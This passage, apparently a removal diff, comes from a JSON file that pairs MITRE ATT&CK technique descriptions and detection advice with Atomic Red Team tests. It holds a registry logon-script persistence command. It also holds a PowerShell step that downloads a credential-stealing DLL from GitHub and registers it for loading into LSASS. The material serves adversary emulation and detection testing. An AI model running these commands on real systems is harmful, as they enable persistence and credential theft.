Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.", - "source_name": "ArtOfMemoryForensics" - }, - { - "url": "https://www.gnu.org/software/acct/", - "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.", - "source_name": "GNU Acct" - }, - { - "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing", - "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", - "source_name": "RHEL auditd" - }, - { - "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html", - "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.", - "source_name": "Chokepoint preload rootkits" - } - ], - "modified": "2021-10-18T12:26:31.766Z", - "name": "Ptrace System Calls", - "description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: OS API Execution", - "Process: Process Access", - "Process: Process Modification" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Application control" - ] - }, - "atomic_tests": [] - }, - "T1037.001": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3", - "type": "attack-pattern", - "created": "2020-01-10T03:43:37.211Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1037.001", - "url": "https://attack.mitre.org/techniques/T1037/001" - }, - { - "url": "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx", - "description": "Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.", - "source_name": "TechNet Logon Scripts" - }, - { - "source_name": "Hexacorn Logon Scripts", - "url": "http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/", - "description": "Hexacorn. (2014, November 14). Beyond good ol\u2019 Run key, Part 18. Retrieved November 15, 2019." - } - ], - "modified": "2020-03-24T23:45:03.153Z", - "name": "Boot or Logon Initialization Scripts: Logon Script (Windows)", - "description": "Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\\Environment\\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\\Environment\\UserInitMprLogonScript.\n\nMonitor running process for actions that could be indicative of abnormal programs or executables running upon logon.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Command: Command Execution", - "Windows Registry: Windows Registry Key Creation" - ], - "identifier": "T1037.001" - }, - "atomic_tests": [ - { - "name": "Logon Scripts", - "auto_generated_guid": "d6042746-07d4-4c92-9ad8-e644c114a231", - "description": "Adds a registry value to run batch script created in the %temp% directory. Upon execution, there will be a new environment variable in the HKCU\\Environment key\nthat can be viewed in the Registry Editor.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "script_path": { - "description": "Path to .bat file", - "type": "string", - "default": "%temp%\\art.bat" - }, - "script_command": { - "description": "Command To Execute", - "type": "string", - "default": "echo Art \"Logon Script\" atomic test was successful. >> %USERPROFILE%\\desktop\\T1037.001-log.txt" - } - }, - "executor": { - "command": "echo \"#{script_command}\" > #{script_path}\nREG.exe ADD HKCU\\Environment /v UserInitMprLogonScript /t REG_SZ /d \"#{script_path}\" /f\n", - "cleanup_command": "REG.exe DELETE HKCU\\Environment /v UserInitMprLogonScript /f >nul 2>&1\ndel #{script_path} >nul 2>&1\ndel \"%USERPROFILE%\\desktop\\T1037.001-log.txt\" >nul 2>&1\n", - "name": "command_prompt" - } - } - ] - }, - "T1055.015": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "ESET" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99", - "type": "attack-pattern", - "created": "2021-11-22T15:02:15.190Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.015", - "url": "https://attack.mitre.org/techniques/T1055/015" - }, - { - "source_name": "Microsoft List View Controls", - "url": "https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview", - "description": "Microsoft. (2021, May 25). About List-View Controls. Retrieved January 4, 2022." - }, - { - "source_name": "Modexp Windows Process Injection", - "url": "https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/", - "description": "odzhan. (2019, April 25). Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline. Retrieved November 15, 2021." - }, - { - "source_name": "ESET InvisiMole June 2020", - "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", - "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020." - } - ], - "modified": "2022-03-08T20:59:20.762Z", - "name": "ListPlanting", - "description": "Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process\u2019 memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as FindWindow, FindWindowEx, EnumWindows, EnumChildWindows, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be abused for this technique. \n\nConsider monitoring for excessive use of SendMessage and/or PostMessage API functions with LVM_SETITEMPOSITION and/or LVM_GETITEMPOSITION arguments.\n\nAnalyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Modification", - "Process: OS API Execution" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1484": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Azure AD" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", - "type": "attack-pattern", - "created": "2019-03-07T14:10:32.650Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1484", - "url": "https://attack.mitre.org/techniques/T1484" - }, - { - "source_name": "ADSecurity GPO Persistence 2016", - "url": "https://adsecurity.org/?p=2716", - "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019." - }, - { - "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.", - "url": "https://wald0.com/?p=179", - "source_name": "Wald0 Guide to GPOs" - }, - { - "source_name": "Harmj0y Abusing GPO Permissions", - "url": "http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/", - "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019." - }, - { - "source_name": "Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks", - "url": "https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/", - "description": "MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020." - }, - { - "source_name": "Microsoft - Azure Sentinel ADFSDomainTrustMods", - "url": "https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml", - "description": "Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020." - }, - { - "source_name": "Microsoft 365 Defender Solorigate", - "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", - "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021." - }, - { - "source_name": "Sygnia Golden SAML", - "url": "https://www.sygnia.co/golden-saml-advisory", - "description": "Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021." - }, - { - "source_name": "CISA SolarWinds Cloud Detection", - "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", - "description": "CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021." - }, - { - "source_name": "Microsoft - Update or Repair Federated domain", - "url": "https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365", - "description": "Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020." - } - ], - "modified": "2021-02-09T15:52:24.598Z", - "name": "Domain Policy Modification", - "description": "Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.\n\nWith sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n\nAdversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nConsider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)", - "x_mitre_version": "2.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Active Directory: Active Directory Object Deletion", - "Active Directory: Active Directory Object Modification", - "Active Directory: Active Directory Object Creation" - ], - "x_mitre_defense_bypassed": [ - "System access controls", - "File system access controls" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ] - }, - "atomic_tests": [] - }, - "T1547.008": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Vincent Le Toux" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4", - "created": "2020-01-24T18:38:55.801Z", - "x_mitre_version": "1.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1547.008", - "url": "https://attack.mitre.org/techniques/T1547/008" - }, - { - "source_name": "Microsoft LSA Protection Mar 2014", - "url": "https://technet.microsoft.com/library/dn408187.aspx", - "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017." - }, - { - "source_name": "Microsoft DLL Security", - "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx", - "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017." - }, - { - "source_name": "Microsoft Security Subsystem", - "url": "https://technet.microsoft.com/library/cc961760.aspx", - "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017." - }, - { - "source_name": "TechNet Autoruns", - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.", - "modified": "2022-04-20T16:34:43.405Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Boot or Logon Autostart Execution: LSASS Driver", - "x_mitre_detection": "With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "File: File Creation", - "Module: Module Load", - "File: File Modification", - "Driver: Driver Load" - ], - "x_mitre_permissions_required": [ - "SYSTEM", - "Administrator" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1547.008" - }, - "atomic_tests": [ - { - "name": "Modify Registry to load Arbitrary DLL into LSASS - LsaDbExtPt", - "auto_generated_guid": "8ecef16d-d289-46b4-917b-0dba6dc81cf1", - "description": "The following Atomic will modify an undocumented registry key that may be abused to load a arbitrary DLL into LSASS. \n\nUpon execution, the registry key will be modified and a value will contain the path to the DLL. \nReference: https://blog.xpnsec.com/exploring-mimikatz-part-1/ and source https://github.com/oxfemale/LogonCredentialsSteal\nNote that if any LSA based protection is enabled, this will most likely not be successful with LSASS.exe loading the DLL.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "dll_path": { - "description": "Module to be loaded into LSASS", - "type": "path", - "default": "$env:TEMP\\lsass_lib.dll" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "lsass_lib.dll must exist on disk at specified location (#{dll_path})\n", - "prereq_command": "if (Test-Path #{dll_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/oxfemale/LogonCredentialsSteal/raw/53e74251f397ddeab2bd1348c3ff26d702cfd836/lsass_lib/x64/Release/lsass_lib.dll\" -UseBasicParsing -OutFile \"#{dll_path}\"\n" - } - ], - "executor": { - "command": "New-ItemProperty -Path HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS -Name LsaDbExtPt -Value \"#{dll_path}\"\n", - "cleanup_command": "Remove-ItemProperty -Path \"HKLM:\\SYSTEM\\CurrentControlSet\\Services\\NTDS\" -Name \"LsaDbExtPt\" -ErrorAction Ignore | Out-Null\n", - "name": "powershell", - "elevation_required": true - } - } - ] - }, - "T1078.004": { - "technique": { - "x_mitre_platforms": [ - "Azure AD", - "Office 365", - "SaaS", - "IaaS", - "Google Workspace" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Jon Sternstein, Stern Security" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--f232fa7a-025c-4d43-abc7-318e81a73d65", - "created": "2020-03-13T20:36:57.378Z", - "x_mitre_version": "1.4", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1078.004", - "url": "https://attack.mitre.org/techniques/T1078/004" - }, - { - "source_name": "AWS Identity Federation", - "url": "https://aws.amazon.com/identity/federation/", - "description": "Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020." - }, - { - "source_name": "Google Federating GC", - "url": "https://cloud.google.com/solutions/federating-gcp-with-active-directory-introduction", - "description": "Google. (n.d.). Federating Google Cloud with Active Directory. Retrieved March 13, 2020." - }, - { - "source_name": "Microsoft Deploying AD Federation", - "url": "https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/how-to-connect-fed-azure-adfs", - "description": "Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)\n\nCompromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.\n\nOnce a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges.", - "modified": "2022-04-19T20:23:33.894Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Valid Accounts: Cloud Accounts", - "x_mitre_detection": "Monitor the activity of cloud accounts to detect abnormal or malicious behavior, such as accessing information outside of the normal function of the account or account usage at atypical hours.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "initial-access" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Logon Session: Logon Session Creation", - "User Account: User Account Authentication", - "Logon Session: Logon Session Metadata" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1078.004" - }, - "atomic_tests": [] - }, - "T1053.002": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--f3d95a1f-bba2-44ce-9af7-37866cd63fd0", - "created": "2019-11-27T13:52:45.853Z", - "x_mitre_version": "2.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1053.002", - "url": "https://attack.mitre.org/techniques/T1053/002" - }, - { - "source_name": "rowland linux at 2019", - "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/", - "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021." - }, - { - "source_name": "GTFObins at", - "url": "https://gtfobins.github.io/gtfobins/at/", - "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021." - }, - { - "source_name": "Linux at", - "url": "https://man7.org/linux/man-pages/man1/at.1p.html", - "description": "IEEE/The Open Group. (2017). at(1p) \u2014 Linux manual page. Retrieved February 25, 2022." - }, - { - "source_name": "Twitter Leoloobeek Scheduled Task", - "url": "https://twitter.com/leoloobeek/status/939248813465853953", - "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017." - }, - { - "source_name": "Microsoft Scheduled Task Events Win10", - "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events", - "description": "Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019." - }, - { - "source_name": "TechNet Scheduled Task Events", - "url": "https://technet.microsoft.com/library/dd315590.aspx", - "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017." - }, - { - "source_name": "TechNet Autoruns", - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." - }, - { - "source_name": "TechNet Forum Scheduled Task Operational Setting", - "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen", - "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)", - "modified": "2022-04-18T20:12:04.110Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Scheduled Task/Job: At", - "x_mitre_detection": "Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\n\nIn Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All 